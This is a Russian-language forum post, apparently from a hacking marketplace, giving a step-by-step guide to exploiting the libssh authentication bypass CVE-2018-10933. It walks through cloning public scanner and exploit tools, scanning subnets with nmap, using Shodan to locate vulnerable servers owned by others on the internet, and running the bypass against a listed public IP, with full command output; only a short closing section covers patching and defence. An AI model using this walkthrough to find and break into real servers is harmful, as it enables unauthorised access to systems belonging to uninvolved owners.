✍️ Статья Обход аутентификации LibSSH

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

Tartuga

💰 Проверенный продавец
Регистрация
19.12.2019
Сообщения
93
Компьютеры во всем мире полагаются на библиотеку libssh, в которой есть уязвимость CVE-2018-10933. К сожалению для хакеров, эта ошибка сервера была исправлена вскоре после релиза. К счастью, для хакеров почти никто не тратит время на обновление своих библиотек SSH.

Как работает эксплойт
В обычном сеансе SSH пользователь будет пытаться войти с логином и паролем. В приведенном ниже примере мы пытаемся войти на сервер под управлением libssh с неверным паролем, введя ssh [email protected] в окне терминала.

ssh [email protected]

The authenticity of host '159.180.132.163 (159.180.132.163)' can't be established.
RSA key fingerprint is SHA256:Vkx9gDp1E/df1Yn0bDrgXIIYcTnyCVU6vmgqLKKqrhQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '159.180.132.163' (RSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,keyboard-interactive,password).



Поскольку мы не знаем пароль, попытка подключения отклоняется, и мы не можем попасть на сервер. Кроме того, нам запрещено подключаться к этому серверу в течение некоторого времени, если мы будем посылать запросы на аутентификацию слишком часто с неверными данными.



В версиях libssh с рассматриваемой ошибкой пользователь может заставить систему думать, что она уже аутентифицирована, отправив неожиданное сообщение, указывающее, что соединение уже установлено, минуя необходимость ввода пароля. Он позволяет злоумышленнику получить полный контроль над уязвимой системой без знания пароля и представляет собой критическую уязвимость в любой системе с уязвимыми версиями libssh.



Так как же работает эта ошибка?

Представьте себе, если бы вы бы могли получить доступ к дому незнакомца, просто сказав ему, что вы там живете. В этом приеме мы пропускаем процесс подтверждения пароля, и вместо этого отправляем сообщение «успех».

Эта ошибка работает, когда злоумышленник вообще не пытается войти в систему обычным способом, а вместо этого отправляет серверу сообщение, подтверждающее, что злоумышленник уже прошел проверку подлинности. Это сообщение «проверка подлинности прошла успешно» вводит сервер в заблуждение, предоставляя доступ без пароля, полностью игнорируя обычную безопасность системы.



Шаг 1: Установим необходимые инструменты и зависимости

Первая программа, которую мы будем использовать для поиска уязвимых устройств, называется Nmap, которую вы можете установить с оф. сайта. На Kali на kali она присутствует по дефолту, если же в вашей сборке nmap почему-то отсутствует, то можно установить через apt в терминале:

Чтобы определить, уязвимо ли обнаруживаемое нами устройство, мы будем использовать программу на языке Python libssh-scanner. Он написан на Python 2.7, поэтому, если у вас установлен только Python 3, вам также необходимо установить Python 2.7 .

Чтобы установить libssh-scanner, можно клонировать репозиторий libssh-scanner: git clone https://github.com/leapsecurity/libssh-scanner.git

Затем, пройдя по каталогу, нужно установить необходимые зависимости из requirements.txt, используя pip.

cd /libssh-scanner
pip install -r requirements.txt



Далее необходимо также установить программу для выполнения атаки. Для этого клонируем репозиторий «libSSH-Authentication-Bypass» и установим все зависимости.

git clone https://github.com/purplesec/libSSH-Authentication-Bypass.git
cd /libSSH-Authentication-Bypass
pip install -r requirements.txt



Шаг 2: Использование Nmap для поиска уязвимости в локальной сети

Первым шагом к исправлению или эксплуатации уязвимого устройства является его обнаружение, и относительно легко найти устройства в локальной сети. Для этого мы будем использовать Nmap, чтобы найти устройства, работающие на SSH-сервере, и определить, работает ли на них libssh. Nmap позволяет быстро сканировать и обнаруживать все хосты и сервисы в данной сети или диапазоне IP-адресов.

Мы будем сканировать устройства, подключенные локально к нашей сети, и Nmap сообщит нам, использует ли каждое устройство в сети уязвимую версию libssh.

Для сканирования и обнаружения всех устройств в локальной сети с помощью libssh откройте терминал и введите следующую команду для nmap:

nmap -sV -p 22 192.168.0.0/24

Флаг -sV сообщает Nmap, что мы хотим выполнить сканирование только открытых портов. Флаг -p22 указывает Nmap сканировать только устройства на порту 22, который является стандартным портом для связи SSH. Хотя это может не обнаружить устройства, использующие SSH на другом порту, это значительно сократит время поиска.

При сканировании нескольких компьютеров, а не только одного, значение 0/24 в конце важно для поиска во всей подсети. Если вам нужно найти диапазон подсети, вы можете использовать инструмент, подобный ipcalc , который рассчитает его для вас. Для этого найдите свой IP-адрес, набрав ifconfig , затем введите ipcalc yourIP (замените yourIP на ваш IP-адрес).

3843c902a65f26bdd58e3.png

Команда вернет список устройств, подключенных к подсети, а также некоторую информацию, собранную с отсканированного порта. Мы ищем любые цели, которые используют версию libssh более раннюю чем 0.7.6.

Nmap scan report for 172.16.42.1
Host is up (0.0098s latency).

PORT STATE SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.32
Host is up (0.21s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh libssh 0.7.2 (protocol 2.0)

Nmap scan report for 172.16.42.53
Host is up (0.079s latency).

PORT STATE SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.67
Host is up (0.024s latency).

PORT STATE SERVICE VERSION
22/tcp filtered ssh



Шаг 3: Использование Shodan для поиска уязвимости на удаленных устройствах

Подавляющее большинство уязвимых серверов доступно через удаленную сеть, поэтому нам нужно искать другим способом, чтобы найти устройства, не подключенные напрямую к нашей локальной сети.

Чтобы найти удаленную цель, можно воспользоваться поисковиком Shodan, который может найти любое устройство, подключенное к сети, в отличие от Google, который возвращает результаты только с веб-серверов через порт 80. Например, вместо направления вас на веб-сайт, пытающийся продать вам ip-камеры, Shodan направляет вас на страницу входа в систему работающих IP-камер, потенциально предоставляя вам доступ к камере, если пароль по умолчанию не был изменен.

В Shodan проиндексированы многие уязвимые SSH-серверы, которые мы можем искать как по номеру порта, так и по другим ключевым словам, которые обнаруживают узлы, на которых работают версии libssh до 0.7.6, которые, как мы знаем, подвержены этой уязвимости.

Для начала зарегистрируйтесь с бесплатным аком, который позволяет просматривать первые две страницы любого поискового запроса или около 20 уникальных устройств. Затем, чтобы найти серверы, уязвимые для эксплойта libssh, вам понадобятся три фильтра, условия поиска:

  • порт: 22 , который является портом по умолчанию для протокола SSH. Несмотря на то, что SSH можно перенести на любой неиспользуемый порт, это не слишком распространено.
  • LibSSH, который возвращает любой сервер, который использует библиотеки libssh, указывая, что они потенциально могут использоваться.
  • 0,7. *, который ограничивает результаты поиска устройствами, использующими версии libssh, начинающиеся с «0.7». и исключает больше актуальных версий из результатов.
Поиск вернет список IP-адресов, которые могут быть уязвимы для этой атаки, вместе с дополнительной информацией, которую Shodan смог получить. Информация Shodan может включать в себя местоположение устройства, последние действия и организацию, управляющую сервером.

c70bab16db6e84732416b.png



Шаг 4: Проверка уязвимости

После того, как вы собрали список целей, подверженных эксплойту, локальных или удаленных, вы можете использовать libssh-scanner для сканирования IP-адресов и определения вероятности их эксплуатации. В зависимости от того, кому принадлежит устройство, к которому вы получаете доступ, это может привести к серьезным юридическим проблемам (Поэтому не нужно делать гадостей, заранее осуждаем).

Итак используем libssh-scanner, чтобы проверить, действительно ли цели, собранные в шагах 2 и 3, будут уязвимы для эксплойта. Для этого создаем файл .txt, содержащий все IP-адреса, найденные в шагах 2 и 3. Назовем этот текстовый файл ips.txt и поместите его в ту же папку, в которую libssh-scanner был загружен ранее на шаге 1.

Перейдя в каталог, введем следующую команду в терминале:

python libsshscan.py --port 22 --aggressive ips.txt

Команда запустит скрипт в Python 2.7, просканирует каждый IP-адрес в текстовом файле и определит, действительно ли цель уязвима к уязвимости CVE-2018-10933. Как вы можете видеть ниже, выполнение сканирования сузило список потенциальных целей от Шодана до одной - 159.180.132.163.

python libsshscan.py --aggressive --port 22 ips.txt

libssh scanner 1.0.4

Searching for Vulnerable Hosts...

* 52.151.63.100:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 13.57.20.28:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 132.206.51.74:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 18.221.40.109:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.1.165.128:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.86.221.162:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.173.202.21:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.193.60.245:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
! 159.180.132.163:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 34.194.133.107:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')

Scanner Completed Successfully

Чтобы проверить один результат, используйте libSSH-Authentication-Bypass для проверки атаки. Перейдите в папку, в которую вы скачали libSSH-Authentication-Bypass в шаге 1, и введите следующую команду, заменив 159.180.132.163 IP-адресом, который вы хотите сканировать.

python3 libsshauthbypass.py --host 159.180.132.163

Команда возвращает следующие выходные данные c сервера, который был частично исправлен, но все еще уязвим для обхода аутентификации.

python3 bypasswithfakekey.py --host 159.180.132.163

DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2
INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2)

DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', '[email protected]'] server compress:['none', 'zlib', '[email protected]'] client lang:[''] server lang:[''] kex follows?False

DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
algorithm=hashes.SHA1(),

DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1>

DEBUG:paramiko.transport:Switch to new keys ...
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 159.180.132.163: b'7a7f8ca5b97cdd9356114ac650cc1353'
key.get_fingerprint())))

DEBUG:paramiko.transport:userauth is OK
INFO:paramiko.transport:Authentication (password) failed.

Auth Bypassed of the server you trying to bypass but can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunny

Если вы видите сообщение об успешном подключении, значит, уязвимость на тестируемом устройстве подтвердилась. Если соединение не удается или вы видите частично успешный результат, как описано выше, то вы подтвердили, что проблема не влияет на цель.



Как защититься от атаки

Если вы управляете сервером, который использует libssh, важно убедиться, что вы используете libssh версии 0.7.6 и выше.

Чтобы уменьшить вероятность быть найденным на Shodan, вы должны избегать перенаправления портов в открытый интернет. В целом, для доступа к локальной сети лучше использовать VPN, что позволит вообще не открывать порты для Интернета.

Если вы беспокоитесь о том, что ваши устройства отображаются в Shodan, вы можете проверить с помощью Router Security, который позволяет вам видеть информацию о вашем общедоступном IP-адресе.
 

📌 Золотая реклама

AnonPaste

Верх